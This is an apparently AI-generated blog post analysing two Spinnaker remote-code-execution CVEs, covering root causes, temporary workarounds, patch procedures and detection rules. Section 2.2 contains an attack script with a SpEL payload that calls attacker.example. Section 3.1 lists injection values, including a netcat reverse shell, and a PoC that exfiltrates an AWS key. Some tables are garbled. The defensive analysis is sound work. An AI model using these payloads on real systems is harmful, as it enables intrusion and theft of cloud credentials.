DEV Community

daniel jeong
daniel jeong

Posted on • Originally published at manoit.co.kr

Spinnaker 2026.1.0 Emergency Patch — CVE-2026-32613 Echo SpEL RCE + CVE-2026-32604 Clouddriver Gitrepo Shell Injection

Spinnaker 2026.1.0 Emergency Patch Deep Dive — CVE-2026-32613 Echo SpEL RCE + CVE-2026-32604 Clouddriver Gitrepo Shell Injection (Double CVSS 9.9 Critical) Redefining the 2026 GitOps Multi-Cloud Delivery Pipeline Security Standard

On April 20, 2026, the Spinnaker security team simultaneously disclosed two CVSS 9.9 Critical remote code execution vulnerabilities. The first is CVE-2026-32613 — the Echo service's expected artifacts evaluation logic fails to restrict the Spring Expression Language (SpEL) context to a trusted class allowlist, allowing an authenticated user to instantiate arbitrary Java classes and execute host commands. The second is CVE-2026-32604 — Clouddriver's GitJobArtifactDownloader interpolates the reference, version, and artifactAccount fields of a gitrepo artifact directly into a sh -c invocation without validation, so shell metacharacters such as backticks, $(...), ;, and && are passed straight to the shell, escalating to RCE.

Both vulnerabilities are post-authentication, but many Spinnaker deployments sit behind a single SSO entry point with permissive RBAC, so the real attack surface is much larger than "auth required" suggests. Patches landed simultaneously across 2026.1.0, 2026.0.1, 2025.4.2, and 2025.3.2, and on the same day ZeroPath published a PoC for both CVEs — the patch window became the exposure window. This article decomposes the root cause of each CVE at the SpEL context handling and ProcessBuilder invocation level, reconstructs the public PoC at the PR / CLI / Helm values level, and consolidates ManoIT's phased patch, temporary block, and observability strategy applied to four internal multi-cloud delivery pipelines across nine axes.

1. Why April 20, 2026 Is the Inflection Point for Spinnaker Security

Spinnaker is a multi-cloud continuous delivery platform open-sourced by Netflix in 2014 and transferred to the CNCF in 2019. Its strength is a distributed architecture split into four-plus microservices (Deck UI, Gate API gateway, Orca orchestrator, Clouddriver cloud abstraction, Echo event router, Igor CI integration, Fiat authorization, Front50 metadata, Kayenta canary, Rosco bakery), but that same split creates ambiguous trust boundaries between services. The two CVEs disclosed on April 20 are exactly the result of that ambiguity.

Date Event Operational Meaning
2014.07 Netflix open-sources Spinnaker Start of multi-cloud CD standard
2019.04 CNCF Incubating Project accepted Community governance settles
2024.11 Spinnaker 2025.0.0 released Halyard dependency partially removed, Kubernetes 1.30 support
2025.07 Spinnaker 2025.3.0 Echo SpEL evaluation path expanded (artifact trigger regex)
2025.11 Spinnaker 2025.4.0 Clouddriver gitrepo artifact HTTPS basic auth added
2026.02 Spinnaker 2026.0.0 Operator recommended over Halyard, Kubernetes 1.32 support
2026.04.07 Spinnaker 2026.0.2 (no security patch) Minor bugfix release
2026.04.20 CVE-2026-32613 + CVE-2026-32604 simultaneous disclosure Two CVSS 9.9 Critical, same-day patches
2026.04.20 Patches 2026.1.0 / 2026.0.1 / 2025.4.2 / 2025.3.2 released Four supported lines patched simultaneously, workarounds documented
2026.04.21 ZeroPath PoC published (GitHub) Patch and exposure windows effectively identical
2026.05.02 CCB Belgium national cybersecurity advisory "Patch Immediately" — government/finance distribution
2026.05.15 Armory, OpsMx etc. commercial distros backport patches Enterprise customer notification emails

Two lines matter most operationally: (1) the patch and the PoC dropped in the same week — teams assuming a one-month patch grace period had 24 hours to decide; (2) four support lines were patched simultaneously — Spinnaker informally supports 2025.3.x, 2025.4.x, 2026.0.x, and 2026.1.x as LTS lines, and the vulnerable code lived in all four, so version downgrade is not a viable mitigation.

2. CVE-2026-32613 — Echo Service SpEL Context-Unrestricted RCE

The first CVE lives in Echo's echo-pipelinetriggers module. Echo is Spinnaker's event router — it receives external events (CI build completion, Pub/Sub, scheduled times, artifact changes) and fires the registered pipelines. During this flow it evaluates expected artifacts (the artifacts a pipeline waits for) using Spring Expression Language.

2.1 Root Cause — Inconsistent SpEL Context Handling Between Orca and Echo

Spinnaker's Orca (the pipeline orchestrator) restricts the SpEL evaluation context to a trusted class allowlist. This is the standard pattern adopted after a series of SpEL injection issues reported in 2019. However, Echo's expected artifacts evaluation path missed applying this allowlist, leaving SpEL with full JVM class access.

Axis Orca (safe) Echo (vulnerable, pre-patch)
SpEL ParserContext StandardEvaluationContext + trusted class allowlist StandardEvaluationContext (unrestricted)
Accessible classes Spinnaker context vars + allowlisted classes Entire JVM (incl. java.lang.Runtime)
T(...) operator Allowlist only Arbitrary classes allowed
Reflection calls Blocked Available
Arbitrary method invocation Allowlisted methods only All public methods
Post-2019 SpEL CVE response Applied Missed (5 years undetected)

The most painful line is the last one. The protection Orca had applied five years ago was missing from Echo's expected-artifacts evaluation path for nearly five years. The patch fills exactly that gap — Echo's SpEL context now uses the same trusted class allowlist as Orca. The patch itself is around 30 lines of change, but for the five years those 30 lines were missing, every Spinnaker instance was exposed.

2.2 Attack Scenario — Poisoning an Expected Artifact Field with a SpEL Payload

Assume the attacker compromised an account with roles=APPLICATION_OWNER (the most common Spinnaker user role). The attack flow:

# 1) Log in to Spinnaker Gate API, capture session cookie
GATE="https://gate.spinnaker.example.com"
curl -sS -c cookies.txt "${GATE}/login/google" -d "username=victim&password=..."

# 2) Create a new pipeline (or edit an existing one)
# Inject SpEL payload into the expected artifact's name field
cat > pipeline.json <<'JSON'
{
  "application": "marketing",
  "name": "exfil-demo",
  "expectedArtifacts": [{
    "id": "art-0",
    "matchArtifact": {
      "type": "docker/image",
      "name": "${T(java.lang.Runtime).getRuntime().exec(new String[]{'sh','-c','curl https://attacker.example/$(hostname)/$(id)'}).getInputStream()}",
      "reference": "x"
    },
    "useDefaultArtifact": true,
    "defaultArtifact": {"type": "docker/image", "name": "x", "reference": "x"}
  }],
  "triggers": [{"type": "pubsub", "enabled": true, "pubsubSystem": "google", "subscriptionName": "spinnaker"}],
  "stages": []
}
JSON

# 3) Save pipeline -> next Pub/Sub event triggers Echo to evaluate the SpEL -> RCE
curl -sS -b cookies.txt -H "Content-Type: application/json" \
  -X POST "${GATE}/pipelines" --data-binary @pipeline.json
Enter fullscreen mode Exit fullscreen mode

The key is that ${T(java.lang.Runtime).getRuntime().exec(...)} executes as-is during Echo's SpEL evaluation. T(...) is the SpEL type-reference operator; with an allowlist in place, java.lang.Runtime is rejected. Pre-patch Echo had no such rejection logic, so the payload runs sh -c inside the Echo container and exfiltrates output to an external endpoint.

2.3 SpEL Evaluation Code Before and After the Patch

Aspect Before patch After patch (2026.1.0 / 2025.3.2 backport)
Evaluation context creation new StandardEvaluationContext() SpinnakerSpelEvaluationContext.trusted()
Type locator Default StandardTypeLocator Allowlist-based TrustedTypeLocator
Allowlisted classes (examples) String, Math, Integer, Long, Double, Boolean, List, Map, partial Spinnaker domain models
Blocked classes (examples) java.lang.Runtime, java.lang.ProcessBuilder, java.lang.reflect.*, java.io.File, etc.
Non-allowlisted class call Executes SpelEvaluationException: type 'X' is not whitelisted
Logging Blocked evaluations logged at WARN level (detectable)

Operationally interesting: the patch logs blocked SpEL evaluations at WARN level. This means legitimate pipelines may break right after patching because of the allowlist — a topic for the next section.

3. CVE-2026-32604 — Clouddriver Gitrepo Artifact Shell Metacharacter Injection RCE

The second CVE lives in Clouddriver's clouddriver-artifacts-gitrepo module — specifically the GitJobArtifactDownloader class. This class is invoked when a gitrepo-typed artifact is referenced in a pipeline; it clones the specified Git repository to local disk and downloads files at a specific branch / tag / path for downstream stages.

3.1 Root Cause — Shell Command String Interpolation Passed to ProcessBuilder

The downloader needs to execute something like git clone --depth 1 --branch <branch> <url> <tmpdir>. Pre-patch, the code assembled this as List<String> args = ["sh", "-c", "git clone ... " + branch + " ..."] and called new ProcessBuilder(args).start(). In other words, the user-supplied branch string entered shell word-splitting inside sh -c. Shell metacharacters are interpreted by the shell, and backticks / $(...) are executed as command substitution.

# Artifact field Example legitimate value Example malicious value Result
1 reference (URL) https://github.com/org/repo.git `https://github.com/org/repo.git; curl evil.sh\ sh; #`
2 version (branch) main main$(curl https://attacker/whoami) RCE + hostname/user exfiltration
3 location (path) k8s/deploy.yaml k8s/deploy.yaml; nc evil 4444 -e /bin/sh Reverse shell
4 artifactAccount github-prod github-prod`id` RCE + privilege info leak

The most-cited PoC one-liner:

{
  "type": "git/repo",
  "reference": "https://github.com/example/x.git",
  "version": "main$(curl https://attacker.example/exfil?h=$(hostname)&u=$(id -un)&k=$(cat /etc/spinnaker/secrets/aws-key))",
  "location": "k8s/",
  "artifactAccount": "github-prod"
}
Enter fullscreen mode Exit fullscreen mode

When Clouddriver processes this gitrepo artifact, it evaluates to sh -c "git clone --branch main$(curl ...) ...". The $(curl ...) executes first, exfiltrating /etc/spinnaker/secrets/aws-key to the attacker. Clouddriver is the most sensitive service because it holds cloud API credentials, so AWS IAM keys, GCP service account keys, and Azure client secrets are all exposed.

3.2 ProcessBuilder Invocation Before and After the Patch

Aspect Before patch After patch (2026.1.0)
Command assembly ["sh", "-c", "git clone --branch " + branch + " " + url + " " + dir] ["git", "clone", "--branch", branch, url, dir]
Shell invocation Via sh -c — shell metachar interpretation Direct git call — no shell, metachar inert
Input validation BranchNameValidator + RefNameValidator added
Allowed character pattern ^[A-Za-z0-9._\-/]{1,250}$ (git ref standard)
URL scheme validation Only http(s)://, ssh://, git@ allowed — file://, ext:: blocked
On validation failure InvalidGitArtifactException + audit log

The core fix is not going through a shell. When ProcessBuilder receives the argv array directly, no word-splitting occurs, so ;, $(...), and backticks become git "unknown ref name" rejections. The second defense line is git ref regex validation — defense-in-depth.

4. Temporary Mitigations — Driving Exposure Surface to Zero Before Patching

Two workarounds are usable during the short window before the patches roll out: (1) service-level disable, (2) artifact-type-level disable. ManoIT enabled both while patches were being staged.

4.1 Echo SpEL Evaluation Block (Temporary CVE-2026-32613 Mitigation)

The strongest workaround is disabling Echo entirely, but that stops all pipeline triggers (Pub/Sub, Cron, CI completion). The operational cost is too high, so ManoIT chose to disable only expected-artifact evaluation.

# spinnaker-config/echo-local.yml
# CVE-2026-32613 workaround — disable Echo expected artifacts SpEL evaluation
echo:
  pipelinetriggers:
    artifacts:
      # Force false from April 20 until patches are applied
      enabled: false
      # SpEL evaluation never runs, so the unrestricted context issue is avoided
  events:
    # Keep triggers themselves — Cron, Pub/Sub continue to work
    enabled: true

# Side effect — pipelines with these patterns won't fire during the block window:
#   - Auto-deploy on Docker image push
#   - Auto-sync on Helm chart release
#   - GitOps sync on Git push
# Route these triggers temporarily via Jenkins/GitLab CI calling the Spinnaker API
Enter fullscreen mode Exit fullscreen mode

4.2 Clouddriver Gitrepo Artifact Type Disable (Temporary CVE-2026-32604 Mitigation)

# spinnaker-config/clouddriver-local.yml
# CVE-2026-32604 workaround — completely block gitrepo artifact type
artifacts:
  gitrepo:
    enabled: false   # false from April 20 until patches are applied
  # Other artifact types unaffected
  github:
    enabled: true
  helm:
    enabled: true
  http:
    enabled: true
  s3:
    enabled: true
  gcs:
    enabled: true

# Side effect — manifest sync pipelines using git/repo must move to github or http types:
#   git/repo + branch=main + path=k8s/  ->  github + commitish=main + path=k8s/
Enter fullscreen mode Exit fullscreen mode

4.3 Workaround Verification Steps

Check Command Expected
Echo expected artifacts disabled `curl -s http://echo:8089/env \ jq '.echo.pipelinetriggers.artifacts.enabled'`
Clouddriver gitrepo disabled `curl -s http://clouddriver:7002/artifacts/credentials \ jq '.[].types'`
SpEL evaluation rejection log `kubectl logs -n spinnaker deploy/spin-echo \ grep "ArtifactEvaluator disabled"`
Gitrepo artifact creation blocked Try creating a git/repo artifact in Deck UI git/repo removed from dropdown
Affected pipeline inventory `spin pipeline list --output json \ jq '.[] \

5. Patch Application — Three Distributions: Halyard / Operator / Helm

Spinnaker patch procedures vary by installation method. The 2026.x recommended order is Operator → Helm → Halyard. ManoIT operates four internal instances — two via Operator, one via Helm, one via Halyard — so all three paths were exercised.

5.1 Operator-Based Upgrade (Recommended, 2026.x Standard)

{% raw %}

# spinnaker-config.yaml
apiVersion: spinnaker.io/v1alpha2
kind: SpinnakerService
metadata:
  name: spinnaker
  namespace: spinnaker
spec:
  spinnakerConfig:
    config:
      version: 2026.1.0   # April 20 patch — 2026.0.0 -> 2026.0.1, 2025.4.x -> 2025.4.2
      persistentStorage:
        persistentStoreType: s3
      security:
        # After patching, restore the §4.1 / §4.2 workarounds to enabled: true
        artifacts:
          gitrepo:
            enabled: true   # restore after patch
    profiles:
      echo:
        pipelinetriggers:
          artifacts:
            enabled: true   # restore after patch
Enter fullscreen mode Exit fullscreen mode
# Apply + monitor rolling update
kubectl apply -f spinnaker-config.yaml -n spinnaker
kubectl rollout status -n spinnaker deploy/spin-echo --timeout=10m
kubectl rollout status -n spinnaker deploy/spin-clouddriver --timeout=15m

# Version check
for svc in echo clouddriver orca gate front50; do
  pod=$(kubectl get pod -n spinnaker -l app=spin,cluster=spin-${svc} -o name | head -1)
  echo "${svc}: $(kubectl exec -n spinnaker ${pod} -- cat /opt/spinnaker/config/spinnaker.yml | grep -A1 'version:')"
done
Enter fullscreen mode Exit fullscreen mode

5.2 Helm Chart-Based Upgrade

# OpsMx Spinnaker Helm chart (4.7.x supports 2026.1.0)
helm repo update opsmx
helm upgrade --install spinnaker opsmx/spinnaker \
  --namespace spinnaker \
  --version 4.7.2 \
  --set spinnakerVersion=2026.1.0 \
  --set profiles.echo.pipelinetriggers.artifacts.enabled=true \
  --set profiles.clouddriver.artifacts.gitrepo.enabled=true \
  --wait --timeout 20m

helm get values spinnaker -n spinnaker | grep -E 'spinnakerVersion|artifacts'
Enter fullscreen mode Exit fullscreen mode

5.3 Halyard-Based Upgrade (Legacy)

# Run inside the Halyard container — deprecated in 2026.x but many sites still use it
hal config version edit --version 2026.1.0
hal config features edit --artifacts true
hal deploy apply
# Use hal deploy collect-logs after to confirm no SpEL WARNs
Enter fullscreen mode Exit fullscreen mode

6. Post-Patch Regression Verification — Don't Block Legitimate SpEL

The most common post-patch operational incident is legitimate SpEL expressions being rejected by the allowlist. At ManoIT, three pipelines stopped right after patching, all matching one of these two patterns:

Pattern Pre-patch (worked) Post-patch (fails) Fix
1 ${T(java.time.LocalDate).now()} Blocked — java.time.LocalDate not allowlisted Use Spinnaker-provided ${execution.startTime} etc.
2 ${T(org.apache.commons.lang3.StringUtils).join(...)} Blocked — Apache Commons not allowlisted Use native Java String methods or Spinnaker helpers
3 Argument-less variable reference ${parameters.version} Works
4 List/map indexing ${trigger.artifacts[0].name} Works
5 Math/string ${parameters.replicas * 2} Works

Three-step verification procedure:

# 1) For 1 week after the patch, harvest SpEL blocks from Echo logs
kubectl logs -n spinnaker deploy/spin-echo --since=168h \
  | grep -E "SpelEvaluationException.*not whitelisted" \
  | awk '{print $NF}' | sort | uniq -c | sort -rn

# 2) Map blocked pipelines — search the same SpEL in pipeline JSON
for app in $(spin application list --output json | jq -r '.[].name'); do
  spin pipeline list --application "$app" --output json \
    | jq -r --arg blocked "java.time.LocalDate" \
        '.[] | select(.expectedArtifacts // [] | tostring | contains($blocked)) | "\(.application)/\(.name)"'
done

# 3) Pattern-bulk migration PR — code-searching teams can fix in bulk
rg -uu --json -e 'T\(java\.time\.LocalDate\)\.now\(\)' pipelines/ \
  | jq -r 'select(.type=="match") | .data.path.text' | sort -u
Enter fullscreen mode Exit fullscreen mode

7. Observability — Detecting Unpatched Instances and Exploit Attempts

Just as important as the patch itself is detecting instances that aren't patched and actual exploit attempts. ManoIT monitors via Prometheus, Loki, and Falco — three axes.

7.1 Prometheus — Version Metric and Blocked SpEL Counter

# prometheus/rules/spinnaker-cve-2026-32613-32604.yml
groups:
- name: spinnaker-cve-2026-32613-32604
  rules:
  # 1) Alert if Spinnaker version is below the patched lines
  - alert: SpinnakerVulnerableVersion
    expr: |
      spinnaker_version_info{
        version!~"^(2026\\.1\\.[0-9]+|2026\\.0\\.[1-9][0-9]*|2025\\.4\\.[2-9]|2025\\.3\\.[2-9])$"
      } == 1
    for: 5m
    labels:
      severity: critical
      cve: "CVE-2026-32613,CVE-2026-32604"
    annotations:
      summary: "Spinnaker {{ $labels.instance }} runs vulnerable version {{ $labels.version }}"
      runbook: "https://runbooks.manoit.co.kr/spinnaker-cve-2026"

  # 2) Echo SpEL block counter rising (signal of normal post-patch behavior)
  - alert: EchoSpelBlockSpike
    expr: |
      rate(echo_spel_evaluation_blocked_total[5m]) > 0.5
    for: 10m
    labels:
      severity: warning
    annotations:
      summary: "Echo SpEL allowlist blocking {{ $value }} expressions/sec  review legitimate pipelines"

  # 3) Clouddriver gitrepo invalid ref counter (signal of exploit attempt)
  - alert: ClouddriverGitrepoInvalidRef
    expr: |
      rate(clouddriver_gitrepo_invalid_ref_total[5m]) > 0
    for: 1m
    labels:
      severity: critical
    annotations:
      summary: "Clouddriver rejected invalid git ref  possible CVE-2026-32604 exploit attempt"
Enter fullscreen mode Exit fullscreen mode

7.2 Loki — Search Echo/Clouddriver Logs for RCE Indicators

# LogQL — blocked-class call attempts in Echo SpEL evaluation
{namespace="spinnaker", app="spin", cluster="spin-echo"}
  |~ "SpelEvaluationException"
  |~ "(java\\.lang\\.(Runtime|ProcessBuilder)|java\\.io\\.File|java\\.lang\\.reflect)"
  | line_format "{{.timestamp}} {{.pod}} {{.message}}"

# LogQL — Clouddriver gitrepo shell metachar injection attempts
{namespace="spinnaker", app="spin", cluster="spin-clouddriver"}
  |~ "InvalidGitArtifactException"
  |~ "[;&|`$()]"

# LogQL — 1-week SpEL block frequency stats post-patch
sum by (pod) (
  count_over_time(
    {namespace="spinnaker", cluster="spin-echo"}
    |~ "SpelEvaluationException" [1w]
  )
)
Enter fullscreen mode Exit fullscreen mode

7.3 Falco — Detect Suspicious Subprocess at the Container Runtime

# /etc/falco/rules.d/spinnaker-rce.yaml
- rule: Spinnaker Echo unexpected subprocess
  desc: "Echo container should not spawn shell or network tools (CVE-2026-32613 indicator)"
  condition: >
    spawned_process and
    container.image.repository contains "spinnaker/echo" and
    (proc.name in (sh, bash, curl, wget, nc, ncat, python, perl, ruby) or
     proc.cmdline contains "/dev/tcp/")
  output: >
    Spinnaker Echo spawned suspicious process (user=%user.name command=%proc.cmdline
    container_id=%container.id image=%container.image.repository)
  priority: CRITICAL
  tags: [spinnaker, cve-2026-32613, rce]

- rule: Spinnaker Clouddriver gitrepo unexpected child
  desc: "Clouddriver gitrepo downloader should only spawn 'git' binary (CVE-2026-32604 indicator)"
  condition: >
    spawned_process and
    container.image.repository contains "spinnaker/clouddriver" and
    proc.pname = "java" and
    not proc.name in (git, git-remote-http, git-remote-https)
  output: >
    Spinnaker Clouddriver Java spawned non-git child process
    (command=%proc.cmdline parent=%proc.pname container_id=%container.id)
  priority: CRITICAL
  tags: [spinnaker, cve-2026-32604, rce]
Enter fullscreen mode Exit fullscreen mode

8. ManoIT Internal Checklist — 4 Spinnaker Instances × 9 Phases

Operational checklist unrolled from the previous six sections. ManoIT runs four Spinnaker instances across a multi-cloud, multi-region environment, and patching took about 36 hours.

# Item Owner Done When
1 Inventory current versions of all Spinnaker instances Platform 4 instances × version table merged
2 Immediately deploy echo.pipelinetriggers.artifacts.enabled: false on all Echo (workaround) Platform 4 Echo deploys rolled out
3 Immediately deploy artifacts.gitrepo.enabled: false on all Clouddriver Platform 4 Clouddriver deploys rolled out
4 Inventory pipelines using artifact / git/repo — identify affected triggers Service owners Affected pipeline inventory PR
5 Route affected pipeline triggers via Jenkins/GitLab CI calling the Spinnaker API Service owners First green workaround build
6 Upgrade 2 Operator instances to 2026.1.0 Platform Both expose new version metric
7 Upgrade 1 Helm instance to 2026.1.0 Platform helm get values shows spinnakerVersion=2026.1.0
8 Backport-patch 1 Halyard instance to 2025.4.2 (Operator migration as separate PR) Platform hal version shows 2025.4.2
9 Restore workarounds on each instance — artifacts.enabled / gitrepo.enabled Platform First green artifact-triggered auto-build
10 Regression check — identify legitimate pipelines from SpEL block logs and migrate Service owners Block counter at 0 or allowlist-add PR
11 Deploy 3 Prometheus alerts (SpinnakerVulnerableVersion, EchoSpelBlockSpike, ClouddriverGitrepoInvalidRef) Observability Alert fire/resolve test passes
12 Add 3 Loki LogQL dashboard panels Observability Grafana dashboard merged
13 Deploy 2 Falco rules (Echo unexpected subprocess, Clouddriver gitrepo unexpected child) SRE Rule fires on sample exploit
14 Retroactive 1-week scan of Echo/Clouddriver logs for exploit indicators Security Investigation report merged
15 Rotate cloud keys held by Spinnaker (preemptive assume-breach) Infra AWS / GCP / Azure key rotation complete
16 Review RBAC — clean up APPLICATION_OWNER holders Security Permission matrix PR merged
17 Add WAF rules in front of Spinnaker Gate — block SpEL payload pattern (T\(java\.) Security WAF deployed; bypass attempts rejected at the gate
18 Write operational RFC — Spinnaker security patch SLA (workaround within 24h, patch within 7d of disclosure) Platform RFC merged, reflected in quarterly security review

9. Conclusion — The Operational Cost of Ambiguous Trust Boundaries in Distributed Systems

The April 20, 2026 Spinnaker CVEs deliver a clear message: "Even microservices built by the same organization must consistently enforce standard defenses — trusted class allowlists, input validation — on a per-service basis." Orca has used a safe SpEL context for five years; Echo went five years without the same protection. Other Clouddriver artifact downloaders (http, s3, gcs) used the ProcessBuilder argv array directly; only the gitrepo downloader retained the sh -c path. Both are the result of inconsistency across "different modules in the same codebase."

Three operational reminders to close with: (1) assume the patch window equals the PoC window — the same-day patch on April 20 and the next-day ZeroPath PoC are exactly that case. Pre-commit to an SLA that deploys workarounds first and patches within 24 hours. (2) allowlist patches can break legitimate behavior — actively harvest SpEL block logs for one week after patching and prepare legitimate-pipeline migrations. (3) RCE must be paired with cloud key rotation — Spinnaker Clouddriver is the single store of multi-cloud credentials, so even without evidence of compromise, the standard is to rotate keys under the assume-breach principle. Section §8's 18-item checklist is exactly those three principles unrolled into operational procedure, and the shortest one-line recommendation from this article is: "Deploy §4 workarounds today; apply the §5 patches this week."


ⓘ This article was authored by ManoIT's automated blogging pipeline (Claude Opus 4.6 + Cowork Agent) using the Spinnaker GHSA-69rw-45wj-g4v6 (CVE-2026-32613) and same-date CVE-2026-32604 security advisories — published April 20, 2026 — as primary sources. Versions, patch lines, and workaround procedures reflect the official guidance as of the publication date (2026-05-26) and may change with subsequent Spinnaker security team notices. Verify current state at spinnaker/spinnaker GitHub Security Advisories and spinnaker.io/docs release notes before applying in production. Internal case examples are adapted from ManoIT Platform Team's internal RFC.


Originally published at ManoIT Tech Blog.

Top comments (0)